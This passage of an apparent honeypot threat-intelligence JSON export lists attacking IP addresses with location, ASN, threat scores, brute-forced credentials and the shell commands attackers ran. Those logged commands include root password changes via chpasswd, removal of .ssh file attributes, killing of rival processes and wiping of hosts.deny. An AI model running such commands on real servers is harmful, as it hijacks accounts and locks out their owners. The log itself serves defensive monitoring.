        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "12345678",
        "!QAZ2wsx#EDC",
        "123.com",
        "123@Robert",
        "@Admin123",
        "Az123456@",
        "ChangeMe",
        "L@y3rh0st2023",
        "Mysftp123",
        "Socksuser123",
        "Tempuser123!",
        "Zxcvbnm123",
        "gbase123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"harry123\\njc9ngLoGpx8I\\njc9ngLoGpx8I\\n\"|passwd",
        "echo \"lupassword\\nrwdCNfNzmwNI\\nrwdCNfNzmwNI\\n\"|passwd",
        "echo \"root:k1VHseWxgOdC\"|chpasswd|bash",
        "echo -e \"harry123\\njc9ngLoGpx8I\\njc9ngLoGpx8I\"|passwd|bash",
        "echo -e \"lupassword\\nrwdCNfNzmwNI\\nrwdCNfNzmwNI\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Dublin",
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 513,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T08:53:22.609000+00:00",
        "last_seen_30d": "2026-03-22T10:25:44.270000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 406,
        "Suricata": 107
      }
    },
    "35.210.61.208": {
      "attack_count": 399,
      "first_seen": "2026-03-03T09:46:29.280Z",
      "last_seen": "2026-03-31T23:38:41.253Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1122334a",
        "1230123",
        "1234!@#$",
        "1234567Aa",
        "123vps",
        "228228",
        "9797",
        "Abc@1234",
        "Bingo@1993",
        "Ds123456",
        "Gfhjkm",
        "India@1234",
        "King@123",
        "Kong@2025",
        "Q!W@E#R$T%Y^",
        "Qq123456!",
        "Rootroot1234",
        "Secure123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0pL8Vd7sFfrH\"|chpasswd|bash",
        "echo \"root:FTyDovgTd3Ot\"|chpasswd|bash",
        "echo \"root:Fj92CNMIHjQb\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 15169,
      "as_org": "Google LLC",
      "threat_score": 63.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.1,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 513,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T09:46:29.280000+00:00",
        "last_seen_30d": "2026-03-31T23:41:30.359000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 404,
        "Suricata": 109
      }
    },
    "47.247.99.155": {
      "attack_count": 390,
      "first_seen": "2026-03-06T10:22:27.119Z",
      "last_seen": "2026-03-10T18:34:13.338Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "clawd",
        "mslee21",
        "patricia",
        "chenghao",
        "common",
        "cyrus",
        "dev",
        "github-runner",
        "gw",
        "hafiz",
        "hamza",
        "help",
        "michael",
        "pedro",
        "pm2user",
        "robin",
        "tmp",
        "tunnel"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "1225",
        "123",
        "1234",
        "@qwer2024",
        "@qwer2025",
        "Hamza123",
        "P@ssw0rd",
        "Pedro123",
        "Robin123",
        "cyrus123",
        "devtest",
        "hafiz1234",
        "michael2025",
        "mslee21!!",
        "password",
        "patriciapass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nqSUSrl0VWV1z\\nqSUSrl0VWV1z\\n\"|passwd",
        "echo \"mslee21!!\\nBIvhw1OtRwAO\\nBIvhw1OtRwAO\\n\"|passwd",
        "echo \"patriciapass\\nYCJ11jPUScSH\\nYCJ11jPUScSH\\n\"|passwd",
        "echo \"root:kI8ngJ5TxOx5\"|chpasswd|bash",
        "echo -e \"123\\nqSUSrl0VWV1z\\nqSUSrl0VWV1z\"|passwd|bash",
        "echo -e \"mslee21!!\\nBIvhw1OtRwAO\\nBIvhw1OtRwAO\"|passwd|bash",
        "echo -e \"patriciapass\\nYCJ11jPUScSH\\nYCJ11jPUScSH\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Vadodara",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 462,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T10:22:27.119000+00:00",
        "last_seen_30d": "2026-03-10T18:35:19.946000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 390,
        "Suricata": 72
      }
    },
    "27.112.79.121": {
      "attack_count": 376,
      "first_seen": "2026-03-12T22:37:58.840Z",
      "last_seen": "2026-03-14T15:39:00.397Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "lee",
        "marissa",
        "mm",
        "webadmin",
        "wpuser",
        "bkp",
        "claude",
        "ec2-user",
        "fox",
        "help",
        "manager",
        "mason",
        "perforce",
        "rachel",
        "radarr",
        "sftptest",
        "superman",
        "superset",
        "vpnadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "12345678",
        "Fox123",
        "Webadmin123",
        "bkp",
        "ec2-user123!",
        "lee1234",
        "mason1234",
        "mm1234",
        "password",
        "sftptest",
        "superman",
        "superset",
        "vpnadmin123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nmw6LmWN2UxUx\\nmw6LmWN2UxUx\\n\"|passwd",
        "echo \"123456\\nyLGGdDdukCBX\\nyLGGdDdukCBX\\n\"|passwd",
        "echo \"Webadmin123\\npeLJxvHQS104\\npeLJxvHQS104\\n\"|passwd",
        "echo \"lee1234\\nYupn7r0wUk8C\\nYupn7r0wUk8C\\n\"|passwd",
        "echo -e \"12345678\\nmw6LmWN2UxUx\\nmw6LmWN2UxUx\"|passwd|bash",
        "echo -e \"123456\\nyLGGdDdukCBX\\nyLGGdDdukCBX\"|passwd|bash",
        "echo -e \"Webadmin123\\npeLJxvHQS104\\npeLJxvHQS104\"|passwd|bash",
        "echo -e \"lee1234\\nYupn7r0wUk8C\\nYupn7r0wUk8C\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T22:37:58.840000+00:00",
        "last_seen_30d": "2026-03-14T15:40:02.495000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 376,
        "Suricata": 72
      }
    },
    "93.93.202.165": {
      "attack_count": 357,
      "first_seen": "2026-03-07T11:09:25.184Z",
      "last_seen": "2026-03-26T15:07:10.424Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "dhiraj",
        "felix",
        "nuc",
        "1",
        "alarm",
        "apache",
        "azureuser",
        "benny",
        "bodega",
        "bot",
        "camera",
        "dario",
        "dbuser",
        "dheeraj",
        "finance",
        "flex",
        "galaxy",
        "hik",
        "hotline"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "password",
        "123456",
        "1password",
        "Felix123",
        "Galaxy",
        "Love1314",
        "apachepass",
        "azureuser123!",
        "bennypassword",
        "camera@123",
        "dbuserdbuser",
        "dhirajpass",
        "mahdi2025",
        "nuc123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Felix123\\nfcPmL4xl3lqf\\nfcPmL4xl3lqf\\n\"|passwd",
        "echo \"dhirajpass\\neffXKUjDKTVV\\neffXKUjDKTVV\\n\"|passwd",
        "echo \"nuc123!\\ndCDH93crfqam\\ndCDH93crfqam\\n\"|passwd",
        "echo -e \"Felix123\\nfcPmL4xl3lqf\\nfcPmL4xl3lqf\"|passwd|bash",
        "echo -e \"dhirajpass\\neffXKUjDKTVV\\neffXKUjDKTVV\"|passwd|bash",
        "echo -e \"nuc123!\\ndCDH93crfqam\\ndCDH93crfqam\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 210785,
      "as_org": "KAPELAN Medien GmbH",
      "threat_score": 45.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 441,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T11:09:25.184000+00:00",
        "last_seen_30d": "2026-03-26T15:08:15.621000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 84
      }
    },
    "103.76.120.64": {
      "attack_count": 311,
      "first_seen": "2026-03-11T03:34:19.216Z",
      "last_seen": "2026-03-16T08:12:55.260Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "passbolt",
        "root",
        "webftp",
        "ami",
        "astra",
        "awsuser",
        "bert",
        "bkp",
        "clawd",
        "contab",
        "desktop",
        "erp",
        "erpnext",
        "gits",
        "n",
        "proradis",
        "rose",
        "ubuntu",
        "vnc"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1234567Aa",
        "Ami123",
        "Astra123!",
        "Bkp123!",
        "Passbolt123!",
        "Webftp123",
        "awsuserpass",
        "bert@123",
        "n123",
        "passboltpass",
        "password",
        "rose2025",
        "ubuntu@123",
        "zx123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Passbolt123!\\n2dStKw7CUqna\\n2dStKw7CUqna\\n\"|passwd",
        "echo \"Webftp123\\nD5zbTw2VThPV\\nD5zbTw2VThPV\\n\"|passwd",
        "echo \"root:xaKyigdofvoI\"|chpasswd|bash",
        "echo -e \"Passbolt123!\\n2dStKw7CUqna\\n2dStKw7CUqna\"|passwd|bash",
        "echo -e \"Webftp123\\nD5zbTw2VThPV\\nD5zbTw2VThPV\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 383,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T03:34:19.216000+00:00",
        "last_seen_30d": "2026-03-16T08:14:00.611000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 311,
        "Suricata": 72
      }
    },
    "139.59.80.16": {
      "attack_count": 285,
      "first_seen": "2026-03-02T16:45:26.129Z",
      "last_seen": "2026-03-02T17:41:29.830Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!@#$%^&*",
        "000000",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1234567890",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321",
        "888888",
        "Admin123",
        "P@ssw0rd"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 409,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:45:16.613000+00:00",
        "last_seen_30d": "2026-03-02T17:42:36.390000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 285,
        "Suricata": 124
      }
    },
    "165.154.22.195": {
      "attack_count": 236,
      "first_seen": "2026-03-31T07:26:05.626Z",
      "last_seen": "2026-03-31T08:37:35.355Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qaz@wsx#edc$rfv%tgb",
        "123@123aA",
        "1QAZ!qaz",
        "Admin*12345",
        "Heslo@2025",
        "P@ssw0rd.2025",
        "Penguin",
        "QAZ123QAZ",
        "QWE@asd123",
        "Spider123",
        "Zaq12wsxcde3",
        "aa123456!@#",
        "brian123",
        "commercial",
        "medicina",
        "password12",
        "qwecde",
        "qweqweqwe"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:my7bFjRsmw6X\"|chpasswd|bash",
        "echo \"root:raOR9Zsq4EgW\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T07:26:05.626000+00:00",
        "last_seen_30d": "2026-03-31T08:38:43.793000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "89.126.209.36": {
      "attack_count": 236,
      "first_seen": "2026-03-28T12:41:11.498Z",
      "last_seen": "2026-03-28T14:27:15.759Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QW@1qw2",
        "123456Lk",
        "1qa2ws#ED",
        "5r4e3w2q1",
        "8ik9ol0p;",
        "Asd123asd",
        "P@44w0rd",
        "P@ssw0rd12#$",
        "Server2026",
        "asd123456",
        "football1",
        "hyundai",
        "lkilogmL",
        "ozzy",
        "passdata",
        "qwe!@#1234",
        "root123456.",
        "rush"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FCY5GSulghc3\"|chpasswd|bash",
        "echo \"root:TOLNgiz7bM3y\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": null,
      "asn": 202660,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T12:41:11.498000+00:00",
        "last_seen_30d": "2026-03-28T14:28:19.554000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 62
      }
    },
    "64.89.160.47": {
      "attack_count": 213,
      "first_seen": "2026-03-03T20:31:46.154Z",
      "last_seen": "2026-03-09T02:22:26.698Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "support",
        "guest",
        "monitor",
        "sol",
        "0",
        "aaa",
        "apache",
        "debian",
        "developer",
        "git",
        "heat",
        "kjh",
        "manager",
        "mysql",
        "squid",
        "telecomadmin",
        "www"
      ],
      "passwords_attempted": [
        "123456789",
        "!QW@1qw2",
        "0",
        "1",
        "11111111",
        "11223344",
        "1234",
        "12345",
        "147258",
        "1qaz@WSX",
        "Passw0rd61",
        "admin",
        "admin@1234",
        "admintelecom",
        "baseball",
        "changeme",
        "default",
        "dh-qQ3j!soft",
        "gianfranco",
        "guest"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 90.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3318,
        "days_active_30d": 30,
        "ports_targeted_30d": 376,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T06:02:42+00:00",
        "last_seen_30d": "2026-03-31T16:36:22.804000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2560,
        "Honeytrap": 545,
        "Cowrie": 213
      }
    },
    "116.193.191.104": {
      "attack_count": 198,
      "first_seen": "2026-03-08T07:26:29.649Z",
      "last_seen": "2026-03-26T14:32:15.748Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "gbase",
        "kyle",
        "pzuser",
        "chrome",
        "ftpuser01",
        "lan",
        "ociispth",
        "postgres",
        "samba",
        "vendas",
        "vincent"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "1986123",
        "Chrome123",
        "Ociispth123!",
        "Salam@123",
        "asdfasdf",
        "ftpuser01123",
        "password",
        "psql",
        "pzuser123",
        "root123.",
        "vendas1234",
        "vincent123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nT5B8Kfo1sYFP\\nT5B8Kfo1sYFP\\n\"|passwd",
        "echo -e \"12345\\nT5B8Kfo1sYFP\\nT5B8Kfo1sYFP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 43.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.0,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 250,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T07:26:29.649000+00:00",
        "last_seen_30d": "2026-03-26T14:33:18.379000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 52
      }
    },
    "143.110.179.116": {
      "attack_count": 195,
      "first_seen": "2026-03-04T15:21:17.725Z",
      "last_seen": "2026-03-04T16:03:54.508Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "user",
